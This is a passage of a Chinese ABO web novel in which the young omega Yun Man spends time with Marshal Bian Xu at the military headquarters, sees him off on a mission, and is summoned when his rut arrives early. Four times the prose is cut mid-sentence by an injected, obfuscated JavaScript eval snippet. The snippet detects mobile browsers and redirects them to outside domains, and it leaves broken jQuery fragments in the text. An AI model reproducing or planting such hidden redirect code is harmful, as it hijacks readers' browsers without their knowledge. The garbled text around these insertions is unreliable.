看着元帅打劫完就大步离去的背影,副官原地沉思两秒,取出光脑熟练地点进某个群。 【加班第一线天选牛马:警惕军部抢劫事件】 这一句发出去,众多正在摸鱼的同僚们顿时纷纷冒出水面。 【这算工伤:?你被元帅压榨傻了?】 【叫我小李就好:散了吧散了吧,他这一去没个三天回不来。】 【贺江明:如果你有需要,等你回来后我可以陪你去附属医院挂个号。】 【……】 副官看着一群庸人无法悟出自己的提示,悲哀地摇摇头。 - 此时此刻,云满正抱着自己准备好的礼物,乖乖地坐在沙发上。 不远处,边叙坐在桌后,浏览着前线发来的最新战报。 云满偷偷动了下左脚,试探性点了点地面。 有点想跑…… 虽然他之前跟元帅保证的是“不会添乱”,但是,他陪他哥哥工作的时候,也是有小蛋糕伺候着,有小游戏玩的! 云满低头看看光秃秃桌子上硕果仅存的一杯牛奶,唉声叹气。 但叹到一半,又突然想起不能打扰元帅工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085962|148832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,于是生生忍住,过了两秒才若无其事地抬起头,瞟了元帅一眼。 很好,完全没有被注意到! 云满有点蠢蠢欲动了。 他轻轻地抱起礼物,又蹑手蹑脚下了沙发,一边观察着元帅,一边往外走。 很好,非常隐蔽!不愧是他! 云满十分满意,尽可能安静地拉开一条门缝,飞速闪进去。 他并没有注意到,在他拉开门的瞬间,桌后的元帅抬起眼,安静地注视着他。 出了门,云满才想起自己不认识路,正苦恼是干脆认输回去待着,还是努力找找方法……比如说,方才遇到的副官? 就在心中天平往后者倾斜时,他突然发现,光脑上突然开放了军部实景地图。 他有点茫然地抬头看了看周围,没发现任何人,干脆也不管了,抱着礼盒就往楼下走。 刚转过走廊,云满就听到一阵匆忙的脚步声,还伴随着alpha的闲谈。 “也不知道副官又发什么颠了,莫名其妙发那句话。” “你可多体谅他吧,要不是有副官顶着,你数数得有多少次事就得咱自己上了。” “前两天那买东西还算是好的,你再往前数数,之前元帅大半夜莫名其妙把后山给毁了一大片,还是副官出面给解决的。” 元帅的下属们,似乎都很关心元帅。 云满默默想着,同时悄咪咪屏住呼吸,听—— 这次响起的是个很英气的女声:“说起来,那次元帅是精神海暴动了吗?” 另一人轻嗤,“那怎么可能只把后山给毁了?” ……只? 云满缩了缩脖子,觉得好吓人。 看来之后元帅心情不好的时候,要离元帅远一点。 ……嗯,易感期除外。 “我倒是听副官说,是因为后山那位偷了元帅的东西。” 后山那位?偷东西? 这两个关键词立刻触动了云满敏锐的神经,他脑子里立刻冒出一个身影。 ……不会吧? 就在这时,几名alpha察觉到另一人刻意放低的呼吸,声音一凛:“谁?!” 然后,他们就眼睁睁看着一个omega抱着个大盒子,慢吞吞挪出来,朝他们打了个招呼。 “你们好呀,”云满认认真真看着对面的三个alpha,没认出来——毕竟在短短一夜内查清并记住第一军团主要的军官,还是太难了。 他放弃思考,从大礼盒里拣出三个小礼盒,递向对面。 “我是云满,这是见面礼~” 三个alpha:“?” 他们有点茫然地彼此对视一眼,下意识接过礼物,便见对面的omega很熟练地问:“你们刚才说的……偷东西,是偷了什么哇?” 他捏了下指尖,有点心虚地想,他替大狼补给元帅,应该也可以……吧? 听了这话,其中两名alpha默默交换了个眼神,正准备打个哈哈敷衍过去,却没防住他们中最蠢的那个心直口快。 “嗐,听说好像就是个蛋糕,不知道是谁送的,但应该不重要,反正元帅想起来的时候,已经连根毛都找不到了。” 19.离他远一些 【十月二十八日,虫族突袭编号GX5731星球,执政官提前疏散人群,霍尔上将率兵支援,斩首两只A级虫族,虫族大败而退……】 门忽然一声轻响,边叙抬了下眼,看到出门前还高高兴兴的omega无精打采地走进来,头也不抬地往沙发上一扑,不动了。 他有些诧异。 被欺负了? 不大可能,先不提云满的omega身份在军部有多珍贵和罕见,就他对副官的了解而言,对方肯定会在与云满分别的半小时内,把这件事宣扬到人尽皆知。 他无意识地皱了下眉,竟莫名有些心烦,看不下去手里的战报了。 这对他来讲实在是件难得的事。 但云满对于alpha隐晦的关注与忧思一无所觉,他恹恹地在沙发上滚了一圈,伸手想抱住小羊或者小狗,小兔也行,但只抱了个空,才想起早上走得太急,根本没来得及带上。 再想到自己为什么走那么急,云满忍不住叹了口气,谴责般看向正坐在桌后认真办公的元帅。 然后就跟那双深灰色的眸子对视上了。 云满完全没防备,顿时吓了一跳,连忙撇开眼,若无其事地将自己缩到沙发抱枕后边,假装元帅根本看不到自己。 边叙:“……” 他按了下眉心,低头继续去看战报。 云满又支楞起来了,他想起自己惨死的小蛋糕,忍不住唉声叹气,打开光脑开始翻跟元帅的聊天记录。 之前还没多想,只以为元帅没回复是因为忙,但现在看看,当时元帅分明就是心知肚明小蛋糕已经牺牲,不愿意让他知道而已! 可是为什么不愿意让他知道呢……他也不会太生气的呀。 云满悄悄将抱枕往下挪了挪,只露出一双眼,暗中观察元帅。 难道是因为弄坏了他的礼物……所以不好意思面对他吗? 云满努力尝试换位思考——如果他不小心弄坏了江闻或者别的人送给他的礼物,那他之后面对那位omega,一定也会感觉很歉疚,并抓紧机会想要向对方表达歉意的! 那问题又来了,元帅为什么一直没来找他道歉呢? 他又不是小气的omega,如果元帅来找他道歉了,那他一定会原谅对方的! 云满百思不得其解,一时之间也就忘了自己还正盯着元帅,保持着现在的姿势就开始神游天外。 于是,边叙是彻底看不进去战报了。 他尽可能忽略omega满是委屈的那双眼,镇定地打开光脑,调出GX5731星球所属的第三星系星域图,想要查看这一次虫族的进攻路线,并从中推断虫族可能的藏身之地—— 能不能别看他了。 边叙面无表情地关掉星域图,打开军部大厦的监控,调回一个小时之前。 他并非想要找出云满受委屈的原因,只不过是想让对方收回那可怜巴巴的眼神罢了。 屏幕上,omega正脚步轻快地离开顶层,眉眼间的笑意快活而生动。 他抱着小饼干盒子,一边吃一边走,路上碰到alpha便热情又大方地分享。 而那些alpha往往是一副意外的表情,手脚都不知道要放在哪里了,愣愣地接过来,又下意识道谢,却连话都说不明白,只好站在原地,盯着云满发呆。 偏偏云满还一无所觉,继续快乐地发小饼干。 边叙皱了下眉。 ……之前怎么没发现,这群alpha都这么一副蠢样子。 他迅速决定好接下来长达一个月的加训计划,并忽略omega投来的委屈目光,拖动进度条。 几道熟悉的声音传入耳中,他指尖忽地一顿,深灰色的眼眸微微动了下。 ……原来是因为这个。 边叙垂下眼,关了光脑,重新拿起战报。 云满早晚都是要知道的。 他近乎是漠然地想,正如云满喜欢玩偶,喜欢蛋糕,喜欢花,喜欢一切柔软而色彩明丽的事物,而他的世界则只有锋利的机甲,寡淡的营养剂还有弥漫着硝烟的荒星,他们从来都不是一个世界的人。 云满最好早点搞清楚这件事,然后回到属于omega的世界去。 翻过一页。 又翻过一页。 那道目光仍黏在脸上,竟让那块皮肤泛起一种微妙的灼烧感,边叙放下战报。 算了,反正他也没什么要紧事。 不,不对。 他冷静地否定了自己的说法——训练手底下的人,才应该是一个元帅该去做的正事。 直到元帅起身,云满才惊觉自己盯着对方发了多久的呆,慌乱地收回目光,同时还警惕地往沙发里缩了缩。 也因此,他没注意到,边叙经过沙发时极为短暂地顿了一下,似乎想说些什么,却在看到omega下意识的后退动作后,什么也没说。 门关上了,办公室内只留下了云满一个人。 云满丢开抱枕,开始光明正大地发呆。 他还没有想通元帅为什么不来找自己道歉,但没关系。 云满指尖拖动着光脑屏幕,很快便锁定了自己的目的地——食堂。 食堂应该有厨房吧? 如果恳求一下,再用小饼干贿赂一下,应该会让自己暂用一下后厨的吧? 云满不太确定,但他敢于尝试。 去食堂的路不算短,一路上要绕好几个弯,过好几架桥,云满的方向感本来就不好,这下更是晕头转向,莫名其妙走到了医务室。 他一向对医生很有好感,这种好感最早可以追溯到童年时期的某次糟糕经历。 具体的云满已经记不太清了,但他还记得在协会附属医院懵懂醒来时,看到伊会长正温柔朝他微笑的脸庞。 云满谨慎地趴在门框上观察两秒,然后就被军医逮了个正着。 “没人,想进就直接进来吧。” 军医推了下眼镜,看着有点拘谨走进来的小omega,微微笑了下。 “您好,”云满取出自己准备好的小饼干,双手递到军医面前,有点拘谨道:“我叫云满,是元帅的……” 话还没说完,便被眼前人打断了。 军医微笑道:“我知道您,小殿下——您来这里,是想要了解元帅的身体状况吗?” 云满愣了一下。 其实他只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14094016|148832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是想来问一下食堂怎么走的,但军医抛出的这个话题实在是让他难以拒绝。 他犹犹豫豫问:“可以吗?” “当然可以。” 军医宽容地看着云满,虚虚点了几下屏幕,打开几份文档。 “元帅的精神海状况目前还处于可控范围内,你不用害怕。哦,对了,在他易感期的时候,记得离远一些。” “诶?” 这跟协会教得好像不太一样? 云满有点不太确定地想。 军医看出了他的疑惑,无奈地笑了下,“元帅毕竟是个成年已久的alpha,小殿下,如果我没记错,你的腺体还没有发育到足够承受标记的程度吧?” 云满懵了一下。 通常来讲,omega的身体资料会储存于协会附属医院,除非在正式结婚后,才会走程序被共享给军部医院。 眼前这个军医是怎么知道的? 军医又看懂云满的表情了,他提醒道:“你还记得伊会长吗?” 当然记得,前两天伊会长还来看望过他……等等。 云满忽然想起,之前听江闻说过,伊会长的丈夫好像是个军医? 这个猜想让云满惊了下,他猛地抬起头看向对方,“您,您是伊会长的丈夫吗?” “是啊,她当初为了你的身体,可是苦恼了很久呢。” 军医笑着摇摇头,语气颇为感慨,“一转眼,居然都匹配到alpha了。” 不过再想想,他居然都送走了两任元帅,真是岁月无情啊。 云满完全没想到这层关系,一时间只觉得两人亲近了不少,他乖乖地点头,“我记下了,元帅易感期的时候我会躲远一点的。” 可是…… 他又有点犹豫,“但,元帅会不会很疼啊?” “每个alpha都是这么过来的,这没什么大不了的。” 云满抿了下唇。 他还没经历过发情期,但光听年长omega偶尔的描述,也能知道那是一种很难受的状态。 而alpha的易感期往往还伴随着精神海的风暴,应该会更难受吧? 军医盯着云满,看出了对方的想法,眯了下眼,镜片寒光一闪。 “如果你想帮元帅的话,就好好吃饭、好好睡觉,赶快长大吧。” 他声音放轻了点,“总之,千万不要轻易去靠近他。” - 地下训练场又躺了一地惨嚎的alpha,被同僚们熟练地拖去医务室。 刚警告完云满,又开始优哉游哉喝茶的军医尚且不知,一大堆鬼哭狼嚎的年轻alpha即将抵达医务室。 而边叙则自顾自地回到办公室前,推门时还有几分犹豫—— 云满不会正躲在沙发上偷偷哭吧? 一想到这种可能,边叙就觉得心烦意乱。 到底哪里来这么多眼泪? 但毕竟也算是自己弄哭的。 边叙面无表情地压下门把手,推开门。 然后,就嗅到了满室的甜甜蛋糕香。 开门声引起了omega的注意,他回头,见是边叙,便露出了一个柔软的笑。 20.执行任务 军部的办公桌大概这辈子也想不到,自己居然有一天会被用来安置蛋糕。 边叙也想不到,这个猫猫蛋糕,居然会有卷土重来的一天。 他坐在椅上,表情略微有些僵硬,捏着云满刚刚热情塞过来的叉子。 他冷静地想,应该早些告诉云满,他讨厌甜的东西,同样,也不需要omega。 ……应该早些的。 云满托着腮坐在他对面,“我都知道啦。” 边叙抬眼。 “……抱歉。” 他听到自己这样说。 对面的omega似乎很惊讶,瞳孔都变得圆溜溜的,而后,露出了一个浅淡的微笑。 “我没有生气……好吧,”omega妥协了,他小小声说:“是有点伤心,不过你道歉之后就不伤心了!” “原谅你啦。” “记得这次吃完之后,要告诉我你更喜欢什么口味的奶油哦。” …… 在军部的第一天,虽然出了点小意外,但结果还算不错。 但第二日云满起床时,就犯懒了。 不想起床。 强撑着爬起来后,云满听到了一个噩耗——元帅要去出差了! 虽然更准确的说法是出外勤,去第三星系执行某个不能告诉云满具体内容的任务。 边叙目光沉静,他已经喝过营养剂,此刻留在餐桌上,也不过是在等云满罢了。 他翻阅着战报,并没有抬眼去看对面omega的反应,只简明扼要道:“归期还未定,一周到一个月不等,我可以送你回协会,或者去找陛下——” 他耐心等着云满的回答,安静几秒后却忽然察觉不对,抬起头便发现,对面的omega又哭了。 说实话,在以前,他对omega的印象实在算不上好,娇贵又脆弱,随便一只还没手掌大的虫子就能把他们吓到,哭起来更是吵闹。 刚看到云满时,他也是这么认为的,可后来才发现,云满哭起来总是无声无息,明明眼睛都红了,却要低着脑袋,任由眼泪大颗大颗砸在手背上。 他顿了一两秒,刚要开口,就见对面的omega怯生生地抬起头,声音似乎有点抖,问:“你不会死在外面吧?” 边叙:“……” 云满话都出了口,才意识到自己又说了什么东西,连忙捂住嘴想要打补丁,“我不是那个意思,我是说——” “会回来。” alpha的声音很沉着,不知为何,明明只是一句虚无缥缈的保证,却让云满真的放了心,他仰起头看向对面的alpha,目光落在那身军装上,过了两秒才呐呐解释道:“我从小就听爸爸说,父亲总是出任务,后来……” 他垂下眼睫,又有点难过了。 那时候父亲旧伤未愈,精神海损伤严重。 可云满才刚出生,而他爸爸在那一次的孕育中伤到了腺体,没办法给予父亲安抚。 帝国风雨飘摇,在某一天,父亲离开后,再也没有回来。 再后来,爸爸也走了。 云满吸了吸鼻子,又想起元帅刚才的问题,他重新仰起头看过去,问:“我留在这里可以吗?” omega的眼睛仍含着点水光。 “……可以。” 元帅府邸的安保一向严密。 边叙垂下眼,指尖在光脑上点了点,通知副官留守帝星。 时间已经快到了。 边叙起身,拿起搁在旁边椅子上的大衣,道:“有什么需要的,或者想去的地方,直接联系副官。” 云满乖乖点头,却忽然想起什么,匆匆留下一句“您等我一下”后,便噔噔跑上楼。 不过两分钟时间,他就重新跑了回来,气还没喘匀,就急着要将手里的小箱子塞进边叙手里。 边叙:“……?” 云满缓了缓,“这是我常在床上放的两只小熊和一只小兔,还有几件……比较贴身的衣服,”他越说声音越小,后知后觉地有点害羞了。 “总之,如果您觉得精神海情况不对,一定要告诉我!” 边叙沉默了两秒,将小箱子放回餐桌上,“不需要。” ……QAQ。 云满又要掉小珍珠了,但元帅早有预判,连眼神都没分给他,转身就走。 ……这招怎么没用了。 他只好收回眼泪,抱着小箱子眼巴巴跟上元帅。 元帅脚步很快,但奈何云满有着丰富的缠人经验,成功扒拉着元帅一起到了军部。 但再之后,就不许云满跟着了。 云满也知道轻重缓急,只能独自抱着小箱子在元帅的房间里急得团团转。 直到被元帅临时揪下星舰,派来照顾omega的副官推开门,对上了云满亮晶晶的眼睛。 副官:“……?” 怎么感觉脖子一凉? 他低头看看右手上的小饼干,再看看左手上的小箱子,沉思两秒,果断地拆开饼干袋子。 - 另一边,星舰上。 第三星系位于帝国疆域的另一个边缘,较为偏僻,资源也不多,在以往就连虫族都不怎么爱往这边跑。 但最近不知出了什么问题,状况频发,边叙直觉不对。 去往第三星系的路程不算短,窗外是早已看惯了的星河。 正巧光脑亮起,是副官发来汇报:【小殿下目前心情还可以,我现在正送殿下去皇宫。】 心情还可以? 去皇宫住吗? 边叙无意识点了点光脑屏幕。 那是否意味着,元帅府邸周围加强的安保可以撤一部分了? ……算了。 莫名地,边叙又想起了omega那双眼。 在昨晚,在今晨。 他又有些烦躁了。 也许是易感期快要到了。 - 皇宫,书房。 云景怀又在忙,自从父亲死后,云满就没见过兄长闲下来的样子了。 他蹲在窗外,小声跟霍克先生咬耳朵。 “您知道元帅去哪里了吗?” “抱歉小殿下,请恕我无法回答。” 云满叹了口气。 他也没抱希望啦,毕竟元帅自己都说了不能告诉他。 但还是有点担心。 虽然副官已经把小箱子偷偷塞进了元帅的衣柜里。 霍克先生静静地注视着眼前的o ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105371|148832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' mega,忽然问:“殿下,您最近似乎很关心元帅。” 云满愣了一下,有点心虚地捏捏指尖,“有吗——毕竟是帝国的大英雄嘛,我关心关心也很正常吧。” 声音却越来越低。 霍克先生看着小殿下长大,自然清楚对方的一切小习惯,他敏锐地察觉到一丝不对劲。 可元帅从未匹配到过omega,而小殿下又太过年幼,两个人怎么看都不可能有交集。 他陷入沉思。 云满对于管家先生的怀疑一无所知,托着脑袋蹲在原地唉声叹气,直到脑袋顶上忽然传来两下敲击声。 他下意识抬头去看,便对上了自家哥哥似笑非笑的眼。 云景怀倚在窗边,垂眼看着幼弟,“岁岁,你最近很闲?” 云满一个激灵站起来,疯狂摇头,“没有没有!” 云景怀哼笑一声,“最近协会让你学了什么?” 云满更心虚了,他目光飘忽,努力回忆着匹配前的课程,磕磕绊绊道:“就是,社交礼仪,心理课,还有烘焙……” 云景怀不置可否,他只是盯着云满,若有所思地屈指敲了敲窗台。 云满莫名其妙觉得后背有点发凉。 “进来。” 云满下意识应了声,一低头,却发现霍克先生早就明智地溜走。 他只好哭丧着脸进了书房。 但好在哥哥似乎并没有检查他功课的打算,云满便安安静静坐在旁边扮演吉祥物,直到云景怀无意间抬起眼,看到了云满的光脑。 他想起前些天云满提起的那件事,多看了两眼,觉得那光脑无端有几分眼熟。 但他没多想,毕竟皇帝的工作实在太过繁重,随口道:“我已经让霍克去着手准备清点物资了,有多余的可以分发下去。” 前些年帝国处于劣势,上一任皇帝,即他的祖父,未雨绸缪,在许多地方都设置了战备储藏点。 再后来父亲战死,他匆匆即位,百废待兴,没精力去管辖那些储藏点。 若非云满这次提醒,他都要忘了这件事了。 云满哦了一声,他有点无聊,点开军部的主页看了看。 军部的博文冷肃又沉厉,完全符合云满的刻板印象。 并且,完全没有提到元帅。 云满叹了口气,又去看协会的主页。 这一看可了不得,云满十分惊奇地发现,自己又有两位小伙伴选择跟alpha进入了试婚! 正巧元帅也不在,他蠢蠢欲动,计划着什么时候回去协会看看。 他又依次点进研究院、皇室的主页看看,人也慢慢滑下去,到最后懒散地趴在沙发上,无意识地晃着小腿。 到最后,云满看困了。 一下午时间转瞬即逝,他醒来时还迷迷糊糊抓起光脑,发现元帅完全没有跟自己联系。 他叹了口气,掀开身上的薄毯,“哥哥,我回去啦。” 云景怀仍在埋头工作,云满十分怀疑,这一下午对方除了给自己盖毯子外,一下都没动过。 他又怜悯地叹了口气,脚步轻快地往外走,却听到身后传来一道恶魔般的声音:“岁岁。” 云景怀问他:“你想去上学吗?” 21.梦 霍克先生目送着小殿下上了飞行器,又在对方从窗前探出脑袋,努力朝他挥手道别时,露出一个和蔼的微笑。 不知不觉,小殿下都长这么大了啊。 他内心感慨,转身往回走,只是才刚踏进书房,他忽地脚步一顿——协会的飞行器……是长那个样子吗? 他觉得有几分不对,但还没来得及细想,就被云景怀打断思路。 “岁岁走了?” 霍克应了一声,见云景怀手边茶杯已经空了,连忙上前添满。 云景怀没抬头,一目十行地看过帝大新递来的报告书,指尖落在某个位置,他淡淡道:“巴特校长似乎对我很不满。” 霍克没接这话,转而笑道:“刚才我送小殿下出去,见小殿下还有点忧心忡忡的样子,是很害怕被送去上学啊。” 云景怀揉了下眉心,淡淡道:“他从小就这样,爱撒娇。” 但云满是这一代皇室中唯一的omega,是最合适的人选。 更何况…… 云景怀垂下眼,轻声道:“目前为止,成年后最快匹配成功的omega,年龄是二十一岁。” 指尖略微用力,一点点掐紧。 帝国的匹配制度绵延日久,难以撼动。 但至少……他要保护好云满。 霍克静静地站在一旁,用隐含担忧的眼神注视着帝王。 - 云满因为哥哥有送自己去上学这个打算忧虑了好久,但突然意识到——他已经是有alpha的omega了! 只要缠着元帅,拒绝去上学,那就算是他哥也不能强迫他! 唯一的问题就是……元帅应该会向着他吧? 云满不太确定,但再一想,元帅最少也要一周后才回来,遂决定留给一周后的自己担心。 这些天,云满独自住在元帅府邸,过得那叫一个爽。 每天不用早起做饭,醒来就是刷光脑,或者在副官陪同下去找自己的小伙伴们玩。 但大部分时候,还是大狼陪着他玩。 他还尝试了一下给大狼戴止咬器——在看到那只现在还没找到主人的陪睡小熊时,他心里就有这个想法了。 但他第一次用这东西,没绑好,大狼一个甩头,止咬器就滑脱了。 狼低头盯了地上的止咬器两秒,又抬头看看omega要哭不哭的表情。 狼认输,狼主动叼起止咬器,凑到云满面前,耐心地等云满给它套上,绑紧。 于是,云满又眉开眼笑了。 狼拱了拱他。 之后,云满还抽空去协会转了一圈儿,见了好多朋友,又被伊会长抓走,做了个全身体检。 从营养舱里爬出来时,他还有点懒洋洋的。 伊会长坐在旁边,伸手投喂给他一块奶糖,同时眼睛看着机器上打印出来的报告。 “腺体情况很稳定,身体情况的话……岁岁,这两天是不是熬夜了?” 伊会长似笑非笑。 云满心虚地撇开眼,“一点点啦。” 伊会长笑了声,很宽容地原谅了他,闲谈般提起:“听我丈夫说,你前些天跟元帅去军部了?” 云满点头,又想起那个自己困惑已久的问题,主动补充道:“还看到了元帅的身体报告,感觉没有我想象的那么严重。” “这个,”伊会长叹了口气,伸手揉揉小omega蓬松的头发,“你再长大一些,就知道了。” 云满不大明白。 伊会长显然也没有为他解惑的意思,而云满向来不会为难自己,想不通就不想,只是离开时却碰到了一个意料之外的人。 是塞西尔。 说起塞西尔,也算是协会名人之一。 他与鸾会长同龄,只是与拒绝匹配,直接开始工作的鸾会长不同,从二十四岁开始,他就与自己匹配到的alpha先后进行了三段试婚,坚持最长的一段也就两个月,但不知为什么两人居然都没放弃。 听说其他人还特意为塞西尔开了个会,讨论塞西尔这个情况,到底能不能进入社会开始工作。 不过有鸾会长在先,塞西尔也就一起被宽大处理了。 现在这是……第四次试婚失败了吗? 他疑惑地观察片刻,却引起了塞西尔的注意。 那是个打扮得十分精致的omega,只是脸上却带了几分恼意——在看到云满的瞬间,又转成了笑意。 塞西尔走过来,熟稔地捏了捏云满的脸颊,“岁岁,好久不见呀。” 云满也乖乖地打招呼,“好久不见,你怎么又回来啦?” 提起这个,塞西尔皱了下眉,明显不欲多谈,只是目光在云满身上又转了一圈——要知道,提起眼前这两位,一个是帝国历史上最早匹配的omega,另一个则是十几年都没匹配成功过的元帅,大家嘴上不说,其实背地里都重点关注着。 但想想陛下那边一贯的态度……不过幸好,研究院向来不关注协会与军部的动向,而陛下也鲜少过问AO们之间的事情。 加上军部与协会难得合作,心照不宣地瞒住了帝王。 有足够的时间留给云满和那位元帅。 塞西尔又捏了捏云满的脸,“看在你这么多年都乖乖给我捏脸的份上,告诉你一个小秘密。” 云满眼睛都睁大了点。 塞西尔笑着说:“等元帅回来后,你们可要小心鸾会长哦~” 云满:“……嗯?” 这算什么秘密? 他有点茫然,但显然塞西尔并没有解释的意思,笑着上了军部的飞行器。 - 云满想不通这件事,他觉得自己最近碰到好多想不通的事情。 但窗户那里一响,他就立刻不想了,熟练地跑过去打开窗户,同时侧开身子,方便大狼进来。 元帅不在的这几日,他与大狼建立了深厚的友谊。 当然,绝对不是因为睡觉时埋进大狼肚皮里很舒服! 只是今天,云满却发现,狼似乎有些疲惫。 窗外明月高悬,狼的皮毛上还带着几分属于夜的寒凉,却没像往常那样在地毯上滚两圈,来让自己变得蓬松温暖。 正相反,它略显倦怠地半趴在云满的小床上,灰蓝色的眸子阖着,感受到小omega的靠近,也只是伸出舌头,慢慢地舔了云满一口。 云满一下子就担心起来了,他一骨碌爬起来,先是摸了摸大狼的体温。 然后,他表情凝重地缓缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14120926|148832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收回手,想起自己根本就不清楚狼的正常体温是多少。 他又翻开狼的毛发,试图检查狼身上有没有出现伤口。 又失败了,因为狼毛太厚,看不清楚。 云满有点挫败。 他转身拿起光脑——虽然不知道星网有没有收录这个物种——对着扫描了一遍,没有发现伤口,这才松了口气。 而在这期间,狼始终安静地趴在原地,任由他动作。 没有伤口,似乎也没有生病…… 云满搞不懂了,他犹豫两秒,抱着大狼的脑袋,尝试把对方往床上拖。 又失败了。 狼怎么可以这么重。 云满谴责地盯着狼。 那双灰蓝色的眸子也安静地与他对视着,片刻后,狼动了动,慢慢地爬上了床,半趴在属于它的那块位置上。 云满便缩进它怀里,这次倒是没敢继续压狼肚子了。 他小心地揉了揉狼,安慰道:“没事的,休息吧,我守着你哦。” “如果半夜觉得不舒服,就把我推醒,我带你去找研究院的人……” 但这一夜,云满并没有被叫醒,正相反,他还做了梦。 梦里是一片被大雪覆盖的荒芜土地,四野寂寥,他茫然无措,随便挑了个方向往前走,走了好久好久,脚都走痛了。 他莫名有点委屈,干脆抱着膝盖蹲在原地,发了会呆,又仰头看看天。 雾蒙蒙的,没有太阳,只有细雪飘落下来。 他想不起来自己为什么会在这里。 身后突然传来什么东西踩在雪面上的细微声响,他下意识转头,眼前有抹灰色一闪而过,却还没来得及看清,就觉一阵天旋地转。 最先恢复的是听觉,身边很吵闹,有人声,飞行器运行时的嗡鸣,还有什么东西摩擦时所发出的细微声响。 他下意识睁开眼,想要去找声音的来源,却冷不防踩到了什么东西,踉跄了一下。 这时,他才发现,周围人群拥挤,所有人都是一副惊慌恐惧的表情,挣扎着奋力往某个方向跑去。 他站在道路中心,可人们却像是没看到他似的,直接从他身体中穿过去。 他有点茫然地低头,看到了自己半透明的掌心。 发生了什么? 他搞不明白,抬起头,却看到了黑色的天空。 更准确地说,是被密密麻麻的虫族所覆盖的天空。 …… “!” 云满猛地从梦中惊醒。 大狼不知何时已经不见了,他手软脚软,抱着小羊想要汲取一点温度。 从小到大,哪怕算上做梦,这都是他第一次见到那么多的虫族……梦里的一切还历历在目,就连虫翅摩擦时的声音都那样清晰。 他浑身发冷,又想起元帅。 对方所经历的,会比他梦到的这些,更恐怖一万倍吧? “砰砰砰!” 急促的敲门声唤回云满的心神,他匆匆披了件长外套去开门,却很意外地看到了一身军装、神情严肃的副官。 副官朝他深深鞠了一躬,声音艰涩得像是从牙缝里挤出来的。 “抱歉,殿下,但是……元帅他的易感期,提前了。” 22.“过来。” 夜色很深,空气中都浮动着湿润的冷意。 四周一片深黑,唯有不远处一点亮色,是飞行器。 云满匆匆跟着副官上了飞行器,看着窗外熟悉的景色渐渐远去,突破某个界限时,耳膜一震,身子一轻,他看到了浩瀚的星海。 星舰舱桥缓缓落下,AI毫无波动的提示声响起,飞行器速度减慢,平稳地驶入星舰中。 还没来得及停稳,副官就匆匆跳下去。 这是隶属于第一军团的某艘小型战舰,纯色的空白世界,就连脚步声都显得尤为刺耳。 转过一个拐角,他听到了激烈的争吵声,还有来回踱步的声音,只是副官刚带着云满推开门,就立刻安静下来了。 云满抬起头,看到了好几个眼熟的人。 有军医,有之前告诉他小蛋糕已惨死狼嘴的那位名叫佐伊的军官,有当时与佐伊同姓的一名叫艾莉亚的军官,他们三个站在房间中心,似乎在激烈争辩着什么。 他们身后还有几位云满不认识的人,无一不是焦灼地紧皱着眉头,却无计可施,只能叹着气来回踱步。 而再往后,是一面直顶天花板的巨大屏幕,无数猩红的数据流飞速跳动着,给人一种强烈的视觉冲击,让云满大脑都产生些微的眩晕。 当年……父亲走之前,也是这样吗? 云满有点恍然。 而这时,房间内的几人终于反应过来了,他们不可置信地盯着云满看了两秒,又将目光转到云满身旁的副官身上。 佐伊最先反应过来,他上前一步叫道:“卫疆,你疯啦?!” 这一声像是唤醒了其余人的意识,艾莉亚也不赞同地摇摇头,沉声道:“你知道你在做什么吗?” 副官没开口,他只是撇开眼,神色有些木,怔怔望着惨白色的地板。 军医叹息一声,他上前几步走到云满面前,眼瞳清晰映出omega苍白的脸。 “好孩子,回去吧。”他轻声道:“睡一觉,醒来就没事了。” 说着,他挥手示意某个工作人员过来,将人送回去,这时身后却传来低低的声音。 云满说:“让我试试吧。” - “这个带上,这个也带上,还有这个,哦哦,差点忘了那个……” 云满坐在星舰医务室内的沙发上,托着脸看军医像陀螺般风风火火转来转去,没一会儿功夫,手上就堆了一大堆东西。 过了十几分钟,军医才擦了擦脑门上的汗,自言自语道:“应该差不多了。” 话音落下去,他忽地转头看了沙发上的omega一眼,眉头顿时一皱。 